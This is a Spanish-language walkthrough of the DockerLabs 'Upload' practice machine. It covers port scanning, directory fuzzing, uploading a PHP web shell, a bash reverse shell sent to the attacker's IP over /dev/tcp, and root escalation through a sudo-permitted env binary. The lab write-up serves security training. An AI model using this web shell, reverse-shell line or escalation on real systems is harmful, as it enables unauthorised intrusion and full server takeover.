Upload - DockerLabs
Hoy trataremos de explotar la máquina Upload de DockerLabs, de dificultad Fácil. Vamos a utilizar un archivo .php con código malicioso y una reverse shell.
Desplegamos la máquina
1
2
3
4
5
6
7
8
9
➤ sudo bash auto_deploy.sh injection.tar
[sudo] contraseña para nmc:
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Escaneo NMAP
Antes que nada, deberemos hacer un escaneo de puertos con nmap para encontrar los puertos abiertos y qué servicios corren en ellos.
1
2
3
4
5
6
7
8
9
10
➤ nmap -sV -p- --min-rate=5000 172.17.0.2
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-23 21:49 CST
Nmap scan report for 172.17.0.2
Host is up (0.00012s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.87 seconds
Nos percatamos de que está abierto el puerto 80 con el servicio HTTP. Entramos a la web con el puerto 80: http://172.17.0.2:80 y nos carga un upload files.
Fuzzing
Usamos Gobuster para encontrar posibles directorios donde se almacenen los archivos cargados.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
➤ gobuster dir -u http://172.17.0.2/ -w /snap/seclists/900/Discovery/Web-Content/common.txt -t 50 --add-slash
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://172.17.0.2/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /snap/seclists/900/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Add Slash: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/icons/ (Status: 403) [Size: 275]
/server-status/ (Status: 403) [Size: 275]
/uploads/ (Status: 200) [Size: 936]
Progress: 4746 / 4747 (99.98%)
===============================================================
Finished
===============================================================
Encontramos un directorio /uploads/. Accedemos a él y cargamos una nueva pestaña con el index.html. Como ya tenemos la ruta donde ubicar los archivos subidos, trataremos de subir un archivo .php con código malicioso. Si lo logramos y este es interpretado por la máquina, podremos ejecutar comandos en el servidor web.
Explotación
Creamos un archivo llamado cmd.php. En este incluimos el siguiente contenido:
1
2
3
<?php
system($_GET['cmd']);
?>
Lo subimos y recargamos el directorio de uploads.
Abrimos el archivo .php y observamos que ya nos está interpretando el código, ya que no aparece el texto que incluimos en nuestro cmd.php. Confirmamos que es vulnerable y procedemos a ejecutar un comando:
1
http://172.17.0.2/uploads/cmd.php?cmd=whoami
En este caso, al acceder a la URL http://172.17.0.2/uploads/cmd.php?cmd=whoami, estamos utilizando el método GET para enviar un parámetro llamado cmd con el valor whoami.
El código PHP en el archivo ejecuta el comando del sistema que se pasa como valor de cmd. Por lo tanto, el servidor ejecuta el comando whoami, que muestra la identificación del usuario.
Reverse Shell
El siguiente paso, una vez hemos comprobado que tenemos ejecución remota de comandos sobre la máquina, es ejecutar un comando que nos envíe una consola interactiva a nuestra máquina atacante. A esto se le conoce como Reverse Shell. Para ello, nos ponemos en escucha en nuestra máquina atacante, por ejemplo con netcat:
1
nc -nlvp 443
(Es posible que en tu máquina necesites ser root para escuchar por el puerto 443)
A continuación, ejecutamos la reverse shell a través de la URL como hicimos anteriormente con el comando whoami. Le pasaremos el siguiente valor al parámetro cmd:
1
http://172.17.0.2/uploads/cmd.php?cmd=bash -c "bash -i >%26 /dev/tcp/192.168.0.09/443 0>%261"
Tras ejecutarlo, comprobamos que hemos ganado acceso a la máquina:
1
2
3
4
5
6
7
➤ sudo nc -nlvp 443
[sudo] contraseña para nmc:
Listening on 0.0.0.0 443
Connection received on 172.17.0.2 39242
bash: cannot set terminal process group (25): Inappropriate ioctl for device
bash: no job control in this shell
www-data@18f3edf32011:/var/www/html/uploads$
Escalada de privilegios
Una de las primeras comprobaciones que se realiza al ganar acceso a una máquina es ejecutar el comando sudo -l para listar los permisos de sudo que tiene el usuario actual. Muestra qué comandos puede ejecutar con privilegios elevados.
1
2
3
4
5
6
7
8
9
www-data@18f3edf32011:/var/www/html/uploads$ sudo -l
sudo -l
Matching Defaults entries for www-data on 18f3edf32011:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User www-data may run the following commands on 18f3edf32011:
(root) NOPASSWD: /usr/bin/env
Con env podemos lanzarnos directamente una consola, y al poder ejecutarlo como root, esta consola tendrá privilegios de superusuario:
1
2
3
4
www-data@18f3edf32011:/var/www/html/uploads$ sudo env /bin/bash
sudo env /bin/bash
whoami
root
Acceso ROOT obtenido
¡Máquina comprometida! Te deseo un feliz hackeo.